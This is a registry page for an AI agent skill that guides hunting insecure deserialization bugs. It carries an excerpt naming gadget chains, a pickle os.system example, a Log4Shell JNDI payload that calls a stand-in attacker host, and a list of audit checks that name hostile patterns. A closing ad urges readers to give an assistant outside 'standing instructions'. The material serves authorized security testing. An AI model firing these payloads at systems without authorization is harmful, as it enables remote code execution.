hunt-deserialization SKILL.md skillA
hunt-deserialization from novaestellar/novahaku is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add novaestellar/novahaku/hunt-deserialization@git:20260925.a234464Pins git:20260925.a234464 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- novaestellar/novahaku
- Path
testing/hunt/hunt-deserialization/SKILL.md- Versions recorded
- 4
- Latest version
- git:20260925.a234464, committed Sep 25, 2026
- First version recorded
- Sep 3, 2026
- Size
- 6,253 bytes
- Repository stars
- 28
- License
- MIT
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
…Read the whole file at its exact version.
How to install
mdr add novaestellar/novahaku/hunt-deserialization@sha256:640c90e50d4dd1f7The line at the top of this page pins the label git:20260925.a234464, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_ebpnmthn5hhy5ulw)
1 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 4 versions of this file, between Sep 3, 2026 and Sep 25, 2026, about one every 7 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260925.a234464 latest | 2026-09-25 | a234464 | 6,253 B | A | view · diff |
| git:20260910.546fe86 | 2026-09-10 | 546fe86 | 5,355 B | A | view · diff |
| git:20260903.29924dd | 2026-09-03 | 29924dd | 5,367 B | A | view · diff |
| git:20260903.fa855c4 | 2026-09-03 | fa855c4 | 5,338 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (6253 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
novaestellar/novahaku · 28 stars · license MIT · pushed 2026-09-28 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_ebpnmthn5hhy5ulw GET https://markdownregistry.com/api/v1/resolve?ref=novaestellar/novahaku/hunt-deserialization GET https://markdownregistry.com/api/v1/blob/640c90e50d4dd1f72af56fd9e0fa4662fec7e1108553bc58acb891bd37e767ad
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
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